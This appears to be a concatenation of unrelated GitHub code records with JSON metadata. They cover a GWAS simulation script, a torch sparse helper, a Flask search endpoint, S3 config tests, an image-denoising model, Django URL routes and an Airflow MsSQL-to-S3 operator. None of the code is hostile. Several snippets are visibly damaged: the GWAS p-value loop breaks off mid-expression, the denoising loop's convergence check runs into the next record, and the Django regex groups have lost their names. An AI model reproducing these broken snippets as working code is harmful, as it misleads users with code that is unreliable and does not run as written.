1\npheno_fixed_hp_wn = pt.Phenotypes(\"fixed high freq beta -0.67, with noise\", variants, N)\npheno_fixed_hp_wn.simulate_env_noise_sd(sd_environmental_noise, r)\npheno_fixed_hp_wn.simulate_fixed([variants.variants[index]], index, [-0.67])\n\n\n\n\n\n#-----------------------\n# run association tests and plot\n#-----------------------\n\npGWAS_unif = gwas.TAssociationTestingGWAS(phenotypes=pheno_unif)\npGWAS_unif.OLS(variants)\npGWAS_unif_noNoise = gwas.TAssociationTestingGWAS(phenotypes=pheno_unif_noNoise)\npGWAS_unif_noNoise.OLS(variants)\n\npGWAS_random = gwas.TAssociationTestingGWAS(phenotypes=pheno_random)\npGWAS_random.OLS(variants)\n\npGWAS_fixed = gwas.TAssociationTestingGWAS(phenotypes=pheno_fixed)\npGWAS_fixed.OLS(variants)\n\npGWAS_fixed_hp = gwas.TAssociationTestingGWAS(phenotypes=pheno_fixed_hp)\npGWAS_fixed_hp.OLS(variants)\npGWAS_fixed_hp_wn = gwas.TAssociationTestingGWAS(phenotypes=pheno_fixed_hp_wn)\npGWAS_fixed_hp_wn.OLS(variants)\n\n\nfig, ax = plt.subplots(7,figsize=(30,30))\npGWAS_unif.manhattan_plot(variants.positions, ax[0])\n# ax[0].axhline(y=30, color=\"black\", lw=0.5)\n\npGWAS_unif_noNoise.manhattan_plot(variants.positions, ax[1])\n\npGWAS_random.manhattan_plot(variants.positions, ax[2])\n\npGWAS_fixed.manhattan_plot(variants.positions, ax[3])\n\npGWAS_fixed_hp.manhattan_plot(variants.positions, ax[4])\n\npGWAS_fixed_hp_wn.manhattan_plot(variants.positions, ax[5])\n\npGWAS_fixed_hp.manhattan_plot_subset(variants.positions, ax[6], pheno_fixed_hp.causal_variant_indeces-200, pheno_fixed_hp.causal_variant_indeces+200, size=1.5)\n\nfig.tight_layout()\nfig.set_size_inches(30, 30)\nfig.show()\nfig.savefig('sims/sims_13_africans.png', bbox_inches='tight')# \n\n#-----------------------\n# Mantel\n#-----------------------\npheno_fixed_hp.find_causal_trees(trees)\ntGWAS_fixed_hp = gwas.TAssociationTestingRegions(trees, pheno_fixed_hp)\ntGWAS_fixed_hp.runMantel(trees, pheno_fixed, N)\n\nfig, ax = plt.subplots(2,figsize=(30,30))\npGWAS_fixed_hp.manhattan_plot(variants.positions, ax[0])\ntGWAS_fixed_hp.manhattan_plot(range(trees.num_trees), ax[1])\n\nfig.tight_layout()\nfig.set_size_inches(30, 30)\nfig.show()\nfig.savefig('sims/sims_13_randomSeq.png', bbox_inches='tight')# \n\n#-----------------------\n# GCTA HE\n#-----------------------\n\npheno_fixed_hp.find_causal_trees(trees)\ntGWAS_fixed_hp = gwas.TAssociationTestingRegions(trees, pheno_fixed_hp)\ntGWAS_fixed_hp.runCGTA_HE(trees, N)\n\nfig, ax = plt.subplots(5,figsize=(30,30))\npGWAS_fixed_hp.manhattan_plot(variants.positions, ax[0])\ntGWAS_fixed_hp.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp.p_values_HECP_Jackknife, ax[1], title_supplement = \"HECP_Jackknife\")\ntGWAS_fixed_hp.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp.p_values_HECP_OLS, ax[2], title_supplement = \"HECP_OLS\")\ntGWAS_fixed_hp.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp.p_values_HESD_Jackknife, ax[3], title_supplement = \"HESD_Jackknife\")\ntGWAS_fixed_hp.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp.p_values_HESD_OLS, ax[4], title_supplement = \"HESD_OLS\")\n\nfig.tight_layout()\nfig.set_size_inches(30, 30)\nfig.show()\nfig.savefig('sims/sims_16_HE.png', bbox_inches='tight')# \n\n# start = time.time()\n# tGWAS_fixed_hp_test = gwas.TtGWAS(trees, pheno_fixed_hp)\n# tree = trees.at_index(1141)\n# tGWAS_fixed_hp_test.runCGTA_HE_one_tree(trees.at_index(1141), N, start)\n\n# tGWAS_fixed_hp_test.runCGTA_HE(trees, N)\n\n# fig, ax = plt.subplots(5,figsize=(30,30))\n# pGWAS_fixed_hp.manhattan_plot(variants.positions, ax[0])\n# tGWAS_fixed_hp_test.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_test.p_values_HECP_Jackknife, ax[1], title_supplement = \"HECP_Jackknife\")\n# tGWAS_fixed_hp_test.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_test.p_values_HECP_OLS, ax[2], title_supplement = \"HECP_OLS\")\n# tGWAS_fixed_hp_test.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_test.p_values_HESD_Jackknife, ax[3], title_supplement = \"HESD_Jackknife\")\n# tGWAS_fixed_hp_test.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_test.p_values_HESD_OLS, ax[4], title_supplement = \"HESD_OLS\")\n\n# fig.tight_layout()\n# fig.set_size_inches(30, 30)\n# fig.show()\n# fig.savefig('sims/sims_15_HE.png', bbox_inches='tight')# \n\n#-----------------------\n# GCTA REML\n#-----------------------\n\npheno_fixed_hp.find_causal_trees(trees)\ntGWAS_fixed_hp_reml = gwas.TAssociationTestingRegions(trees, pheno_fixed_hp)\ntGWAS_fixed_hp_reml.runGCTA_REML(trees, N)\n\nfig, ax = plt.subplots(5,figsize=(30,30))\ntGWAS_fixed_hp_reml.manhattan_plot(variants.positions, ax[0])\ntGWAS_fixed_hp_reml.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_reml.p_values_HECP_Jackknife, ax[1], title_supplement = \"HECP_Jackknife\")\ntGWAS_fixed_hp_reml.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_reml.p_values_HECP_OLS, ax[2], title_supplement = \"HECP_OLS\")\ntGWAS_fixed_hp_reml.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_reml.p_values_HESD_Jackknife, ax[3], title_supplement = \"HESD_Jackknife\")\ntGWAS_fixed_hp_reml.manhattan_plot_special_pvalues(range(trees.num_trees), tGWAS_fixed_hp_reml.p_values_HESD_OLS, ax[4], title_supplement = \"HESD_OLS\")\n\nfig.tight_layout()\nfig.set_size_inches(30, 30)\nfig.show()\nfig.savefig('sims/sims_15_HE.png', bbox_inches='tight')# \n\n\n\n\n# #-----------------------\n# # limix\n# #-----------------------\n\n# trees_obj = tt.TTrees(trees)\n\n# def solving_function(array): \n# covariance = trees_obj.TMRCA(trees_obj.trees[0], N)\n# inv = np.linalg.inv(covariance)\n# tmp = np.dot(inv, array)\n# # print(\"shape of my dot product\",np.shape(tmp))\n# return(tmp)\n\n# y = pheno_random.y\n# k = 1\n# m = 2\n# E = random.randn(N,k)\n# N = 500\n# # F = sp.concatenate([sp.ones((N,1)), random.randn(N,1)], 1)\n# F = sp.zeros(N)\n\n\n# lmm = LMMCore(y.reshape(N,1), F.reshape(N,1), solving_function)\n\n# S = trees_obj.trees[0].interval.right - trees_obj.trees[0].interval.left #this produces a float, but we want number of sites. there is a sites iterator, but dont know how to use it to find number of sites. why are genomic positions floats?\n# G = 0.*(random.rand(N,1)<0.2)\n# Inter = random.randn(N, m)\n\n# lmm.process(G, Inter) #this needs step param to produce only one p-value per tree. for this i need the number of sites per tree, or just use 1?\n# pv = lmm.getPv()\n# beta = lmm.getBetaSNP()\n# beta_ste = lmm.getBetaSNPste()\n# lrt = lmm.getLRT() #likelihood ratio\n\n# tGWAS_fixed = gwas.TtGWAS(trees, pGWAS_fixed)\n# F = np.zeros(N)\n# tGWAS_fixed.runLimix(trees, N, pheno_fixed.y.reshape(N,1), F.reshape(N,1), random)\n\n\n#-----------------------\n# plot p-values\n#-----------------------\n\n# num_bins = 20\n# fig, ax = plt.subplots(4,figsize=(15,15))\n# # fig, ax = plt.subplots(1,figsize=(15,15))\n\n# pGWAS_unif.p_value_dist(ax[0], num_bins)\n\n# pGWAS_unif_noNoise.p_value_dist(ax[1], num_bins)\n\n# pGWAS_random.p_value_dist(ax[2], num_bins)\n# pGWAS_random.chiSquared(num_bins)\n\n# pGWAS_fixed.p_value_dist(ax[3], num_bins)\n\n# fig.tight_layout()\n# fig.set_size_inches(10, 20)\n# fig.savefig('sims_pvalues_random_pt_2.png', bbox_inches='tight')# \n\n\n#-----------------------\n# plot p-values for random\n#-----------------------\n# num_bins = 20\n# fig, ax = plt.subplots(5,figsize=(15,15))\n\n# for i in range(5):\n# sd_environmental_noise = 1\n# pheno_random = pt.Phenotypes(\"random\",trees)\n# pheno_random.simulateEnvNoise(sd_environmental_noise)\n# pGWAS_random = gwas.TpGWAS(ts_object=trees, phenotypes=pheno_random)\n# pGWAS_random.OLS()\n \n# x= pGWAS_random.chiSquared(num_bins)\n# pGWAS_random.p_value_dist(ax[i], num_bins)\n# ax[i].set(title=x)\n\n \n# fig.tight_layout()\n# fig.set_size_inches(10, 20)\n# fig.savefig('sims_pvalues_random_pt.png', bbox_inches='tight')#\n\n\n# #cumulative p-value distribution\n# c_steps = np.arange(0, 1, 0.005)\n# c_probs =np.empty(len(c_steps))\n# fig, ax = plt.subplots(1,figsize=(15,15))\n# for s,c in enumerate(c_steps):\n# c_probs[s] = len(pGWAS_random.p_values[pGWAS_random.p_values = c))[0] # predicted to be negative but the actual value is positive\n# FPR.append(float(len(false_negatives)) / float(num_variants - len(causal_positions)))\n \n\n# plt.plot(FPR,TPR)\n# plt.ylabel(\"FPR\")\n# plt.xlabel(\"TPR\")\n# plt.show()\n\n# df = pd.DataFrame(columns = [\"FPR\", \"TPR\"])\n# df[\"FPR\"] = FPR\n# df[\"TPR\"] = TPR\n\n# df.to_csv(\"ROC.csv\",sep=\",\", header=True, index=False)\n# \"\"\"\n# all inds have phenotye = 0 + noise\n\n# - for each mutation:\n# - choose a beta from N(0,sigma) with certain prob given by prop * 1/ num mutations\n# - check which individuals have the mutation\n# - add the beta to all inds with the mutation\n# - save mutation and the beta associated\n# - keep track of which tree the mutation is located in?\n \n# - for each SNP:\n# - perform OLS\n \n# - for each tree:\n# - perform Mantel\n \n# - plot ROC curve?:\n# - need true positives and false negatives etc.: need to keep track of which trees contain causal mutation \n\n# \"\"\"\n\n# N = trees.num_samples\n# M = trees.num_mutations\n# y = np.random.normal(scale=1, size=N)\n\n", "repo_name": "vivilink/argwas", "sub_path": "ARGWAS_testing.py", "file_name": "ARGWAS_testing.py", "file_ext": "py", "file_size_in_byte": 19391, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.chdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.random.RandomState", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 39, "usage_type": "call"}, {"api_name": "TSimulator.TSimulatorStdPopsim", "line_number": 51, "usage_type": "call"}, {"api_name": "tskit.load", "line_number": 60, "usage_type": "call"}, {"api_name": "tskit.load", "line_number": 65, "usage_type": "call"}, {"api_name": "TVariants.TVariantsFiltered", "line_number": 66, "usage_type": "call"}, {"api_name": "tskit.load", "line_number": 71, "usage_type": "call"}, {"api_name": "TVariants.TVariantsFiltered", "line_number": 72, "usage_type": "call"}, {"api_name": "tskit.load", "line_number": 78, "usage_type": "call"}, {"api_name": "TVariants.TVariantsFiltered", "line_number": 79, "usage_type": "call"}, {"api_name": "TIndividuals.Individuals", "line_number": 99, "usage_type": "call"}, {"api_name": "TVariants.TVariantsFiltered", "line_number": 100, "usage_type": "call"}, {"api_name": "TVariants.TVariantsFiltered", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.random.binomial", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 117, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.trace", "line_number": 125, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 136, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 141, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 147, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 157, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 158, "usage_type": "call"}, {"api_name": "TPhenotypes.Phenotypes", "line_number": 163, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 175, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 177, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 180, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 183, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 186, "usage_type": "call"}, {"api_name": "TAssociationTesting.TAssociationTestingGWAS", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "TAssociationTesting.TAssociationTestingRegions", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}, {"api_name": "TAssociationTesting.TAssociationTestingRegions", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "TAssociationTesting.TAssociationTestingRegions", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}]} {"seq_id": "42800973807", "text": "import torch\nfrom torch_sparse import SparseTensor, SparseStorage\nfrom typing import Tuple\n\n\ndef sprand(dim: Tuple[int, int], nnz: int) -> SparseTensor:\n nu, nv = dim\n row = torch.randint(nu, (nnz,))\n col = torch.randint(nv, (nnz,))\n\n storage = SparseStorage(row=row, col=col, sparse_sizes=(nu, nv), is_sorted=False)\n storage = storage.coalesce(reduce=\"max\")\n\n return SparseTensor.from_storage(storage)\n", "repo_name": "grab/GraphBEAN", "sub_path": "utils/sprand.py", "file_name": "sprand.py", "file_ext": "py", "file_size_in_byte": 421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.Tuple", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.randint", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 9, "usage_type": "call"}, {"api_name": "torch_sparse.SparseStorage", "line_number": 11, "usage_type": "call"}, {"api_name": "torch_sparse.SparseTensor.from_storage", "line_number": 14, "usage_type": "call"}, {"api_name": "torch_sparse.SparseTensor", "line_number": 14, "usage_type": "name"}, {"api_name": "torch_sparse.SparseTensor", "line_number": 6, "usage_type": "name"}]} {"seq_id": "73243768543", "text": "from flask import Flask, jsonify, request\nfrom modules.youtube_db import PostSearch\nfrom raven.contrib.flask import Sentry\napp = Flask(__name__)\n\nsentry = Sentry(app)\n\n\n# @app.route('/api/v1/search/')\n@app.route('/api/v1/search')\ndef search():\n query = request.args.get('q')\n youtube_api = PostSearch()\n result = youtube_api.db_check(query)\n return jsonify(result)\n\n\nif __name__ == '__main__':\n app.run(port=5017)\n", "repo_name": "ajeet214/youtube_api", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 439, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "raven.contrib.flask.Sentry", "line_number": 6, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "modules.youtube_db.PostSearch", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 15, "usage_type": "call"}]} {"seq_id": "19332033930", "text": "from __future__ import (absolute_import, division,\n print_function, unicode_literals)\nimport os\nimport boto\nfrom boto.s3.key import Key\nfrom future.builtins import ( # noqa\n bytes, dict, int, list, object, range, str,\n ascii, chr, hex, input, next, oct, open,\n pow, round, super,\n filter, map, zip)\nfrom nose.plugins.attrib import attr\nfrom nose.tools import eq_\nfrom orchestrator.cluster_config.s3 import S3ConfigProvider\nfrom tests.helper import dict_compare\nfrom tests.integration.orchestrator.cluster_config import MOCK_CONFIG, \\\n MOCK_SERIALIZED_CONFIG\n\n__author__ = 'sukrit'\n\nS3_TEST_BUCKET = os.getenv('S3_TEST_BUCKET', 'totem-integration')\nS3_CONFIG_BASE = 'totem-%s/config' % (os.getenv('USER'))\n\n\n@attr(s3='true')\nclass TestS3ConfigProvider:\n \"\"\"\n Integration tests for S3ConfigProvide\n \"\"\"\n\n @classmethod\n def teardown_class(cls):\n bucket = boto.connect_s3().get_bucket(S3_TEST_BUCKET)\n for key in bucket.list(prefix=S3_CONFIG_BASE):\n key.delete()\n\n def setup(self):\n self.provider = S3ConfigProvider(S3_TEST_BUCKET,\n config_base=S3_CONFIG_BASE)\n\n def test_write(self):\n \"\"\"\n should write config to s3\n \"\"\"\n\n # When: I write config using provider\n self.provider.write('totem.yml', MOCK_CONFIG, 'cluster1', 'test_write')\n\n # Then: Config gets serialized as yaml and written to s3\n key = self.provider._s3_bucket().get_key(\n '/%s/cluster1/test_write/totem.yml' % (S3_CONFIG_BASE))\n eq_(key is not None, True)\n eq_(key.get_contents_as_string().decode(), MOCK_SERIALIZED_CONFIG)\n\n def test_load(self):\n \"\"\"\n Should read config from s3\n \"\"\"\n\n # Given: Existing config\n key = Key(self.provider._s3_bucket())\n key.key = '/%s/cluster1/test_load/totem.yml' % (S3_CONFIG_BASE)\n key.set_contents_from_string(MOCK_SERIALIZED_CONFIG)\n\n # When: I load config using provider\n ret_value = self.provider.load('totem.yml', 'cluster1', 'test_load')\n\n # Then: Config gets loaded\n dict_compare(ret_value, MOCK_CONFIG)\n\n def test_delete(self):\n \"\"\"\n Should delete config from s3\n \"\"\"\n\n # Given: Existing config\n key = Key(self.provider._s3_bucket())\n key.key = '/%s/cluster1/test_delete/totem.yml' % (S3_CONFIG_BASE)\n key.set_contents_from_string(MOCK_SERIALIZED_CONFIG)\n\n # When: I load config using provider\n ret_value = self.provider.delete('totem.yml', 'cluster1',\n 'test_delete')\n\n # Then: Config gets loaded\n eq_(ret_value, True)\n check_key = self.provider._s3_bucket().get_key(key.key)\n eq_(check_key is None, True)\n", "repo_name": "totem/cluster-orchestrator", "sub_path": "tests/integration/orchestrator/cluster_config/test_s3.py", "file_name": "test_s3.py", "file_ext": "py", "file_size_in_byte": 2832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.getenv", "line_number": 20, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 21, "usage_type": "call"}, {"api_name": "boto.connect_s3", "line_number": 32, "usage_type": "call"}, {"api_name": "orchestrator.cluster_config.s3.S3ConfigProvider", "line_number": 37, "usage_type": "call"}, {"api_name": "tests.integration.orchestrator.cluster_config.MOCK_CONFIG", "line_number": 46, "usage_type": "argument"}, {"api_name": "nose.tools.eq_", "line_number": 51, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 52, "usage_type": "call"}, {"api_name": "tests.integration.orchestrator.cluster_config.MOCK_SERIALIZED_CONFIG", "line_number": 52, "usage_type": "argument"}, {"api_name": "boto.s3.key.Key", "line_number": 60, "usage_type": "call"}, {"api_name": "tests.integration.orchestrator.cluster_config.MOCK_SERIALIZED_CONFIG", "line_number": 62, "usage_type": "argument"}, {"api_name": "tests.helper.dict_compare", "line_number": 68, "usage_type": "call"}, {"api_name": "tests.integration.orchestrator.cluster_config.MOCK_CONFIG", "line_number": 68, "usage_type": "argument"}, {"api_name": "boto.s3.key.Key", "line_number": 76, "usage_type": "call"}, {"api_name": "tests.integration.orchestrator.cluster_config.MOCK_SERIALIZED_CONFIG", "line_number": 78, "usage_type": "argument"}, {"api_name": "nose.tools.eq_", "line_number": 85, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 87, "usage_type": "call"}, {"api_name": "nose.plugins.attrib.attr", "line_number": 24, "usage_type": "call"}]} {"seq_id": "2389908206", "text": "from models.model import Model\nfrom tqdm import tqdm\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\nfrom lib.ops import *\n\nclass Exponential(Model):\n def __init__(self, **params):\n super(Exponential, self).__init__()\n self.name = \"Exponential\"\n self.alpha = params.get('lambda', 100)\n self.eps = params.get('eps', 1e-5)\n self.maxiter = params.get('maxiter', 1500)\n self.kappa = params.get('kappa', 1)\n self.dt = params.get('dt', 0.01)\n self.accuracy = []\n self.loss_hist = []\n self.save_path = \"dataset/\"+self.name+\"_\"+str(self.maxiter)+\".pkl\"\n\n def loss(self):\n ux, uy = gradient(self.u)\n self.loss_hist.append(np.sum(1-np.exp(-1*self.kappa*(ux*ux + uy*uy)) + self.mask*(self.u - self.noisy)**2))\n\n def solve(self, img, noisy, mask):\n self.img = img\n self.noisy = noisy\n self.mask = mask\n\n if noisy.ndim==3:\n M,N,C = noisy.shape\n else:\n M,N = noisy.shape\n C = 1\n\n self.u = noisy.copy()\n self.gen_metrics()\n self.loss()\n delta = 1e-8\n for iter in tqdm(range(0,self.maxiter)):\n ux = derivative(self.u,dir=0,type=\"forward\")\n uy = derivative(self.u,dir=1,type=\"forward\")\n exp = np.exp(-1*self.kappa*(ux*ux + uy*uy))\n uxx = derivative((ux*exp), dir=0, type=\"backward\")\n uyy = derivative((uy*exp), dir=1, type=\"backward\")\n\n reg = self.kappa * (uxx + uyy)\n u_dash = self.u + self.dt*(reg+self.l2fidelity())\n\n diff_u = np.linalg.norm(u_dash-self.u/np.linalg.norm(u_dash))\n self.u = u_dash\n self.u[self.u > 1] = 1.0\n self.u[self.u < 0] = 0.0\n self.loss()\n self.gen_metrics()\n if iter%self.update_every == 0:\n self.update_figure()\n if diff_u\\w+)$', 'app.views.profile', name=\"profile\"),\n url(r'^p/(?P\\w+)$', 'app.views.profile', name=\"short_profile\"),\n url(r'^u$', 'app.views.user_profile', name=\"user_profile\"),\n url(r'^u/edit$', 'app.views.user_profile_configuration', name=\"user_profile_configuration\"),\n url(r'^s$', 'app.views.search', name=\"search_short\"),\n url(r'^search$', 'app.views.search', name=\"search\"),\n url(r'^d/(?P\\d+)$', 'app.views.review', name=\"review\"),\n url(r'^r/u$', 'app.views.review_upload', name=\"review_upload\"),\n url(r'^r/h$', 'app.views.review_heart', name=\"review_heart\"),\n url(r'^r/h/d$', 'app.views.review_heart_delete', name=\"review_heart_delete\"),\n url(r'^ur$', 'app.views.ur', name=\"ur\"),\n url(r'^categories$', 'app.views.categories', name=\"categories\"),\n url(r'^categories/(?P\\w+)$', 'app.views.categories_search', name=\"categories_search\"),\n url(r'^follow$', 'app.views.follow', name=\"follow\"),\n url(r'^unfollow$', 'app.views.unfollow', name=\"unfollow\"),\n url(r'^embed/(?P\\d+)$', 'app.reviews.embed_review', name=\"embed_review\"),\n)\n\n", "repo_name": "EnterAll/Diloo", "sub_path": "diloo/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 4, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 28, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 30, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 31, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 32, "usage_type": "call"}]} {"seq_id": "70131889504", "text": "import json\nimport os\nimport smart_open\nimport logging\n\nfrom airflow.models import BaseOperator\nfrom airflow.hooks.S3_hook import S3Hook\nfrom airflow.hooks.base_hook import BaseHook\nfrom airflow.utils.decorators import apply_defaults\n\nfrom mssql_plugin.hooks.astro_mssql_hook import AstroMsSqlHook\n\n\nclass MsSQLToS3Operator(BaseOperator):\n \"\"\"\n MsSQL to S3 Operator\n\n NOTE: Because this operator accesses a single database via concurrent\n connections, it is advised that a connection pool be used to control\n requests. - https://airflow.incubator.apache.org/concepts.html#pools\n\n :param mssql_conn_id: The input mssql connection id.\n :type mssql_conn_id: string\n :param mssql_table: The input MsSQL table to pull data from.\n :type mssql_table: string\n :param s3_conn_id: The destination s3 connection id.\n :type s3_conn_id: string\n :param s3_bucket: The destination s3 bucket.\n :type s3_bucket: string\n :param s3_key: The destination s3 key.\n :type s3_key: string\n :param batchsize *(optional)* The number of rows you want to\n batch inserts with. For files that are too\n large for the docker container.\n :type batch: string\n :param primary_key: The key used for batch streaming. Will use\n this to chunk your results. Assumes INT.\n :type primary_key: string\n :param package_schema: *(optional)* Whether or not to pull the\n schema information for the table as well as\n the data.\n :type package_schema: boolean\n :param incremental_key: *(optional)* The incrementing key to filter\n the source data with. Currently only\n accepts a column with type of timestamp.\n :type incremental_key: string\n :param start: *(optional)* The start date to filter\n records with based on the incremental_key.\n Only required if using the incremental_key\n field.\n :type start: timestamp (YYYY-MM-DD HH:MM:SS)\n :param end: *(optional)* The end date to filter\n records with based on the incremental_key.\n Only required if using the incremental_key\n field.\n :type end: timestamp (YYYY-MM-DD HH:MM:SS)\n \"\"\"\n\n template_fields = ['start', 'end', 's3_key']\n\n @apply_defaults\n def __init__(self,\n mssql_conn_id,\n mssql_table,\n s3_conn_id,\n s3_bucket,\n s3_key,\n primary_key,\n batchsize=False,\n package_schema=False,\n incremental_key=None,\n start=None,\n end=None,\n *args,\n **kwargs):\n super().__init__(*args, **kwargs)\n self.mssql_conn_id = mssql_conn_id\n self.mssql_table = mssql_table\n self.s3_conn_id = s3_conn_id\n self.s3_bucket = s3_bucket\n self.s3_key = s3_key\n self.batchsize = batchsize\n self.primary_key = primary_key\n self.package_schema = package_schema\n self.incremental_key = incremental_key\n self.start = start\n self.end = end\n\n def execute(self, context):\n hook = AstroMsSqlHook(self.mssql_conn_id)\n self.build_fetch_query(hook)\n if self.package_schema:\n self.get_schema(hook, self.mssql_table)\n\n def get_schema(self, hook, table):\n logging.info('Initiating schema retrieval.')\n results = list(hook.get_schema(table))\n logging.info(\"Schema:\")\n output_dict = {}\n for i in results:\n new = []\n new_dict = {}\n for n in i:\n if n == 'COLUMN_NAME':\n new.insert(0, i[n])\n else:\n new.insert(1, i[n])\n # Convert all column names to lower() for easy copy to Redshift.\n new = [i.lower() for i in new]\n if len(new) == 2:\n new_dict[new[0]] = new[1]\n output_dict.update(new_dict)\n\n output_dict = self.map_datatypes(output_dict)\n logging.info('Mapped Schema:')\n logging.info(output_dict)\n\n self.s3_upload(str(output_dict), schema=True)\n\n def map_datatypes(self, schema):\n # Assumes going into Redshift.\n # Maps here to making sinks easier.\n\n maps = {'smallint': 'INTEGER',\n 'varchar': 'VARCHAR',\n 'text': 'VARCHAR',\n 'int': 'INTEGER',\n 'float': 